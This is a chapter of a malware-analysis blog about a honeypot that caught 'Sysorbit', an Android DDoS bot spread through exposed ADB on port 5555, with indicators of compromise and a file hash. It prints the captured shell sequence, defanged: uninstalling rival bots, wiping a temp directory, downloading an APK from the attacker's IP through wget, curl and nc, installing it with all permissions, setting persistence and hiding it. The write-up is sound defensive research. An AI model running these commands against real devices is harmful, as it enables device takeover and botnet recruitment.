ES EN
Index

Sysorbit · Chapter 7

The one that came in through the debug cable

The previous three went after servers. This one went after a phone: it came in through ADB, wiped out the competition, installed its app disguised as Google, and hid itself. First Android malware in the honeypot.

The previous three families —XorDDoS, Mirai, RedTail— went after Linux servers. This one goes after something else: a phone. The honeypot has port 5555 open, the ADB port (Android Debug Bridge) — Android's debugging channel. When it's left exposed to the internet, it's an open, password-free door into an Android device.

And someone found it. This chapter is the catch; the teardown of the APK is in Chapter 8.

01The catch

A bot scanning port 5555. The moment the honeypot accepted the ADB connection, it fired off a single giant command — an Android shell that does everything in one go. To capture the sample, the honeypot itself downloaded the APK the command asked for.

  1. 00:00.0Connects to 5555 from 176.65.139.248. ADB asks for no password: straight in.
  2. 00:00.3Uninstalls the competition — a list of rival Android bots — and cleans out /data/local/tmp.
  3. 00:00.3Downloads its APK (sysorbit.apk) from its own server, installs it granting every permission, starts the service, and hides it from the app list.

02The command, laid bare

All on one line. I've broken it into stages so it can be read, but it arrived all at once:

A

Evicting the previous tenants

Before installing itself, it uninstalls other Android bots that might already be on the device. It wants the phone all to itself — the same war between crooks we saw in RedTail, but on Android.

stage-A · evict rivals
pm uninstall com.manji.bot 2>/dev/null
pm uninstall com.iranbot.load 2>/dev/null
pm uninstall com.android.log_handler_v2 2>/dev/null
pm uninstall com.oreo.mcflurry 2>/dev/null
pm uninstall com.google.android.pms.update 2>/dev/null   # fake "pms"
pm uninstall com.google.android.gms.update 2>/dev/null   # fake "gms"
pm uninstall com.andriodakb.registerrs 2>/dev/null       # "andriod"
pm uninstall com.driots.sevice 2>/dev/null               # "sevice"
pm uninstall com.kbot.loadd 2>/dev/null                  # "loadd"
pm uninstall com.meowrisee.service 2>/dev/null
pm uninstall io.toy.zae 2>/dev/null
rm -rf /data/local/tmp/* 2>/dev/null
Look at those namesEleven rival packages, and four with typos: sevice, andriod, loadd, registerrs. They're not mine from transcribing — that's how they came in over the cable, and I checked them again against the original log before publishing.

It says a lot about the craft: whoever maintains that list jots down the competition's names like someone scribbling a shopping list, and never rereads it. And com.google.android.pms.update —"pms" instead of "gms"— is probably another bot trying to pass for Google and getting the letter wrong.
B

Fetching the APK — with a safety net

It downloads sysorbit.apk from 176.65.139.248, trying every tool an Android might have (busybox, toolbox, toybox, wget, curl) and, if nothing works, nc to a spare port. The same stubborn cascade as the Mirai loader.

stage-B · cascading download
busybox wget hxxp://176.65.139[.]248/sysorbit.apk -O /data/local/tmp/x.apk ||
toybox  wget hxxp://176.65.139[.]248/sysorbit.apk -O /data/local/tmp/x.apk ||
curl    hxxp://176.65.139[.]248/sysorbit.apk -o /data/local/tmp/x.apk ||
busybox nc 176.65.139[.]248 30254 > /data/local/tmp/x.apk   # last resort
C

Install, launch and hide

It installs with -g (all permissions at once), launches the bot service, registers itself to start after a reboot, and hides itself from the app list. By the time the phone's owner looks, there's no new icon.

stage-C · install + hide
pm install -r -g /data/local/tmp/x.apk           # -g = grants ALL permissions
am start-foreground-service -n com.sysorbit.service.security/.BotService
am broadcast -a android.intent.action.BOOT_COMPLETED \
   -n com.sysorbit.service.security/.RestartReceiver   # persistence
pm hide com.sysorbit.service.security                   # vanishes from the list
rm -rf /data/local/tmp/x.apk
The disguiseThe package is called com.sysorbit.service.security — "security service" — and once inside it presents itself as a "Google Play Service Updates" notification. Innocuous name, a system-sync icon, and pm hide to finish the job. All designed so nobody comes looking for it.
Nobody typed this command tonightWhen I opened the binary in Chapter 8 I found this very sequence —the download cascade, the pm install, the service launch— hidden inside the malware itself. It isn't an attacker typing it at each victim: every infected phone repeats it against others on its own, without waiting for orders from anyone. What came in through my port 5555 isn't an intruder, it's an infected device hunting for the next one.

And one detail that made me laugh: the rival list the binary uninstalls by itself isn't the same as the one in this command. It carries two packages that don't appear here. Somebody updated one copy and forgot the other.

03The specimen

The APK the honeypot captured.

SPECIMEN 004 · APK

Sysorbit · Android botnet

◈ LIVE · DO NOT RUN
Type
signed APK · 707 KB
Package
com.sysorbit.service.security
Packing
minimal DEX + native libraries (UPX)
Function
Android DDoS bot
C2
encrypted in the binary — cracked open in Ch. 8
SHA-256
31de5c5d0a3483e831e4f9348d46b3c5309177a7f9d6da537fc970f57f103901
House ruleThe APK is not published; the hash is. With that SHA-256 anyone can identify it on VirusTotal or MalwareBazaar without me handing out the beast.

04Indicators (IOCs)

TypeValue
Attacker / distribution IP176.65.139.248 (HTTP /sysorbit.apk · nc :30254)
Entry routeADB · port 5555
APKsysorbit.apk · 31de5c5d0a34…f103901
Packagecom.sysorbit.service.security
Components.BotService · .MainActivity · .RestartReceiver
Rivals it uninstallscom.manji.bot · com.kbot.loadd · io.toy.zae · …

To be continued — the APK is packed and its C2 hidden in native code. In Chapter 8 I open it up layer by layer with jadx and Ghidra. It took me two attempts and a day in between, but it ended up telling me where it calls home. 🍯

Comments